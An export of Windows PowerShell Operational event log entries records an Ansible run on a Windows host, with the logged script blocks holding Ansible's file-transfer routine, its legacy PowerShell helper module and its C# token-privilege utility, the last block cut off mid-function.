Windows PowerShell has started an IPC listening thread on process: 724 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2296 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 4192 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:14 AM | 61e00a24-ee3b-0003-09e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2295 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 3432 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:14 AM | 61e00a24-ee3b-0003-09e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
begin {
$path = 'C:\Users\Admin\AppData\Local\Temp\ansible-tmp-1611050471.97-256601262185470\source'
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
$fd = [System.IO.File]::Create($path)
$sha1 = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
$bytes = @() #initialize for empty file case
}
process {
$bytes = [System.Convert]::FromBase64String($input)
$sha1.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) | Out-Null
$fd.Write($bytes, 0, $bytes.Length)
}
end {
$sha1.TransformFinalBlock($bytes, 0, 0) | Out-Null
$hash = [System.BitConverter]::ToString($sha1.Hash).Replace("-", "").ToLowerInvariant()
$fd.Close()
Write-Output "{""sha1"":""$hash""}"
}
ScriptBlock ID: 6f1126bf-db32-4a3e-8084-6eeab1f643c3
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2294 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2620 | 3368 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:14 AM | 61e00a24-ee3b-0001-8dc6-eb613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2293 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2620 | 3756 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:13 AM | 61e00a24-ee3b-0003-06e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2620 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2292 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2620 | 4376 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:13 AM | 61e00a24-ee3b-0003-06e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2291 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2620 | 3756 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:13 AM | 61e00a24-ee3b-0003-06e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 01237023-12c7-4578-998b-7e5ee3030e4b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2290 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:13 AM | 61e00a24-ee3b-0005-4208-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
new StringBuilder((int)(nameLen + 1));
if (!NativeMethods.LookupPrivilegeName(null, ref luid, name, ref nameLen))
throw new Win32Exception("LookupPrivilegeName() failed");
return name.ToString();
}
private static void PtrToStructureArray<T>(T[] array, IntPtr ptr)
{
IntPtr ptrOffset = ptr;
for (int i = 0; i < array.Length; i++, ptrOffset = IntPtr.Add(ptrOffset, Marshal.SizeOf(typeof(T))))
array[i] = (T)Marshal.PtrToStructure(ptrOffset, typeof(T));
}
private static int StructureToBytes<T>(T structure, byte[] array, int offset)
{
int size = Marshal.SizeOf(structure);
IntPtr structPtr = Marshal.AllocHGlobal(size);
try
{
Marshal.StructureToPtr(structure, structPtr, false);
Marshal.Copy(structPtr, array, offset, size);
}
finally
{
Marshal.FreeHGlobal(structPtr);
}
return size;
}
}
}
'@
Function Import-PrivilegeUtil {
<#
.SYNOPSIS
Compiles the C# code that can be used to manage Windows privileges from an
Ansible module. Once this function is called, the following PowerShell
cmdlets can be used;
Get-AnsiblePrivilege
Set-AnsiblePrivilege
The above cmdlets give the ability to manage permissions on the current
process token but the underlying .NET classes are also exposed for greater
control. The following functions can be used by calling the .NET class
[Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($name)
[Ansible.PrivilegeUtil.Privileges]::DisablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::DisableAllPrivileges($process)
[Ansible.PrivilegeUtil.Privileges]::EnablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process)
[Ansible.PrivilegeUtil.Privileges]::RemovePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process, $new_state)
Here is a brief explanation of each type of arg
$process = The process handle to manipulate, use '[Ansible.PrivilegeUtils.Privileges]::GetCurrentProcess()' to get the current process handle
$name = The name of the privilege, this is the constant value from https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/privilege-constants, e.g. SeAuditPrivilege
$new_state = 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
The key is the constant name as a string, the value is a ternary boolean where
true - will enable the privilege
false - will disable the privilege
null - will remove the privilege
Each method that changes the privilege state will return a dictionary that
can be used as the $new_state arg of SetTokenPrivileges to undo and revert
back to the original state. If you remove a privilege then this is
irreversible and won't be part of the returned dict
#>
[CmdletBinding()]
# build the C# code to compile
$namespace_import = ($ansible_privilege_util_namespaces | ForEach-Object { "using $_;" }) -join "`r`n"
$platform_util = "$namespace_import`r`n`r`n$ansible_privilege_util_code"
# FUTURE: find a better way to get the _ansible_remote_tmp variable
# this is used to force csc to compile the C# code in the remote tmp
# specified
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $platform_util
$env:TMP = $original_tmp
}
Function Get-AnsiblePrivilege {
<#
.SYNOPSIS
Get the status of a privilege for the current process. This returns
$true - the privilege is enabled
$false - the privilege is disabled
$null - the privilege is removed from the token
If Name is not a valid privilege name, this will throw an
ArgumentException.
.EXAMPLE
Get-AnsiblePrivilege -Name SeDebugPrivilege
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][String]$Name
)
if (-not [Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($Name)) {
throw [System.ArgumentException] "Invalid privilege name '$Name'"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
$privilege_info = [Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process_token)
if ($privilege_info.ContainsKey($Name)) {
$status = $privilege_info.$Name
return $status.HasFlag([Ansible.PrivilegeUtil.PrivilegeAttributes]::Enabled)
} else {
return $null
}
}
Function Set-AnsiblePrivilege {
<#
.SYNOPSIS
Enables/Disables a privilege on the current process' token. If a privilege
has been removed from the process token, this will throw an
InvalidOperationException.
.EXAMPLE
# enable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $true
# disable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $false
#>
[CmdletBinding(SupportsShouldProcess)]
param(
[Parameter(Mandatory=$true)][String]$Name,
[Parameter(Mandatory=$true)][bool]$Value
)
$action = switch($Value) {
$true { "Enable" }
$false { "Disable" }
}
$current_state = Get-AnsiblePrivilege -Name $Name
if ($current_state -eq $Value) {
return # no change needs to occur
} elseif ($null -eq $current_state) {
# once a privilege is removed from a token we cannot do anything with it
throw [System.InvalidOperationException] "Cannot $($action.ToLower()) the privilege '$Name' as it has been removed from the token"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
if ($PSCmdlet.ShouldProcess($Name, "$action the privilege $Name")) {
$new_state = New-Object -TypeName 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
$new_state.Add($Name, $Value)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process_token, $new_state) > $null
}
}
Export-ModuleMember -Function Import-PrivilegeUtil, Get-AnsiblePrivilege, Set-AnsiblePrivilege `
-Variable ansible_privilege_util_namespaces, ansible_privilege_util_code
ScriptBlock ID: c422e28d-1228-499a-a0a3-f05ab54584ff
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2289 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:13 AM | 61e00a24-ee3b-0005-3e08-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
# Copyright (c) 2018 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
# store in separate variables to make it easier for other module_utils to
# share this code in their own c# code
$ansible_privilege_util_namespaces = @(
"Microsoft.Win32.SafeHandles",
"System",
"System.Collections.Generic",
"System.Linq",
"System.Runtime.InteropServices",
"System.Security.Principal",
"System.Text"
)
$ansible_privilege_util_code = @'
namespace Ansible.PrivilegeUtil
{
[Flags]
public enum PrivilegeAttributes : uint
{
Disabled = 0x00000000,
EnabledByDefault = 0x00000001,
Enabled = 0x00000002,
Removed = 0x00000004,
UsedForAccess = 0x80000000,
}
internal class NativeHelpers
{
[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
public UInt32 LowPart;
public Int32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
internal struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public PrivilegeAttributes Attributes;
}
[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public LUID_AND_ATTRIBUTES[] Privileges;
}
}
internal class NativeMethods
{
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
[MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges,
IntPtr NewState,
UInt32 BufferLength,
IntPtr PreviousState,
out UInt32 ReturnLength);
[DllImport("kernel32.dll")]
internal static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32")]
internal static extern SafeWaitHandle GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool GetTokenInformation(
IntPtr TokenHandle,
UInt32 TokenInformationClass,
IntPtr TokenInformation,
UInt32 TokenInformationLength,
out UInt32 ReturnLength);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeName(
string lpSystemName,
ref NativeHelpers.LUID lpLuid,
StringBuilder lpName,
ref UInt32 cchName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out NativeHelpers.LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool OpenProcessToken(
SafeHandle ProcessHandle,
TokenAccessLevels DesiredAccess,
out IntPtr TokenHandle);
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class Privileges
{
private static readonly UInt32 TOKEN_PRIVILEGES = 3;
public static bool CheckPrivilegeName(string name)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, name, out luid))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 1313) // ERROR_NO_SUCH_PRIVILEGE
throw new Win32Exception(errCode, String.Format("LookupPrivilegeValue({0}) failed", name));
return false;
}
else
{
return true;
}
}
public static Dictionary<string, bool?> DisablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, false } });
}
public static Dictionary<string, bool?> DisableAllPrivileges(SafeHandle token)
{
return AdjustTokenPrivileges(token, null);
}
public static Dictionary<string, bool?> EnablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, true } });
}
public static Dictionary<String, PrivilegeAttributes> GetAllPrivilegeInfo(SafeHandle token)
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query, out hToken))
throw new Win32Exception("OpenProcessToken() failed");
Dictionary<String, PrivilegeAttributes> info = new Dictionary<String, PrivilegeAttributes>();
try
{
UInt32 tokenLength = 0;
NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, IntPtr.Zero, 0, out tokenLength);
NativeHelpers.LUID_AND_ATTRIBUTES[] privileges;
IntPtr privilegesPtr = Marshal.AllocHGlobal((int)tokenLength);
try
{
if (!NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, privilegesPtr, tokenLength, out tokenLength))
throw new Win32Exception("GetTokenInformation() for TOKEN_PRIVILEGES failed");
NativeHelpers.TOKEN_PRIVILEGES privilegeInfo = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(privilegesPtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[privilegeInfo.PrivilegeCount];
PtrToStructureArray(privileges, IntPtr.Add(privilegesPtr, Marshal.SizeOf(privilegeInfo.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(privilegesPtr);
}
info = privileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => p.Attributes);
}
finally
{
NativeMethods.CloseHandle(hToken);
}
return info;
}
public static SafeWaitHandle GetCurrentProcess()
{
return NativeMethods.GetCurrentProcess();
}
public static void RemovePrivilege(SafeHandle token, string privilege)
{
SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, null } });
}
public static Dictionary<string, bool?> SetTokenPrivileges(SafeHandle token, Dictionary<string, bool?> state)
{
NativeHelpers.LUID_AND_ATTRIBUTES[] privilegeAttr = new NativeHelpers.LUID_AND_ATTRIBUTES[state.Count];
int i = 0;
foreach (KeyValuePair<string, bool?> entry in state)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, entry.Key, out luid))
throw new Win32Exception(String.Format("LookupPrivilegeValue({0}) failed", entry.Key));
PrivilegeAttributes attributes;
switch (entry.Value)
{
case true:
attributes = PrivilegeAttributes.Enabled;
break;
case false:
attributes = PrivilegeAttributes.Disabled;
break;
default:
attributes = PrivilegeAttributes.Removed;
break;
}
privilegeAttr[i].Luid = luid;
privilegeAttr[i].Attributes = attributes;
i++;
}
return AdjustTokenPrivileges(token, privilegeAttr);
}
private static Dictionary<string, bool?> AdjustTokenPrivileges(SafeHandle token, NativeHelpers.LUID_AND_ATTRIBUTES[] newState)
{
bool disableAllPrivileges;
IntPtr newStatePtr;
NativeHelpers.LUID_AND_ATTRIBUTES[] oldStatePrivileges;
UInt32 returnLength;
if (newState == null)
{
disableAllPrivileges = true;
newStatePtr = IntPtr.Zero;
}
else
{
disableAllPrivileges = false;
// Need to manually marshal the bytes requires for newState as the constant size
// of LUID_AND_ATTRIBUTES is set to 1 and can't be overridden at runtime, TOKEN_PRIVILEGES
// always contains at least 1 entry so we need to calculate the extra size if there are
// nore than 1 LUID_AND_ATTRIBUTES entry
int tokenPrivilegesSize = Marshal.SizeOf(typeof(NativeHelpers.TOKEN_PRIVILEGES));
int luidAttrSize = 0;
if (newState.Length > 1)
luidAttrSize = Marshal.SizeOf(typeof(NativeHelpers.LUID_AND_ATTRIBUTES)) * (newState.Length - 1);
int totalSize = tokenPrivilegesSize + luidAttrSize;
byte[] newStateBytes = new byte[totalSize];
// get the first entry that includes the struct details
NativeHelpers.TOKEN_PRIVILEGES tokenPrivileges = new NativeHelpers.TOKEN_PRIVILEGES()
{
PrivilegeCount = (UInt32)newState.Length,
Privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[1],
};
if (newState.Length > 0)
tokenPrivileges.Privileges[0] = newState[0];
int offset = StructureToBytes(tokenPrivileges, newStateBytes, 0);
// copy the remaining LUID_AND_ATTRIBUTES (if any)
for (int i = 1; i < newState.Length; i++)
offset += StructureToBytes(newState[i], newStateBytes, offset);
// finally create the pointer to the byte array we just created
newStatePtr = Marshal.AllocHGlobal(newStateBytes.Length);
Marshal.Copy(newStateBytes, 0, newStatePtr, newStateBytes.Length);
}
try
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, out hToken))
throw new Win32Exception("OpenProcessToken() failed with Query and AdjustPrivileges");
try
{
IntPtr oldStatePtr = Marshal.AllocHGlobal(0);
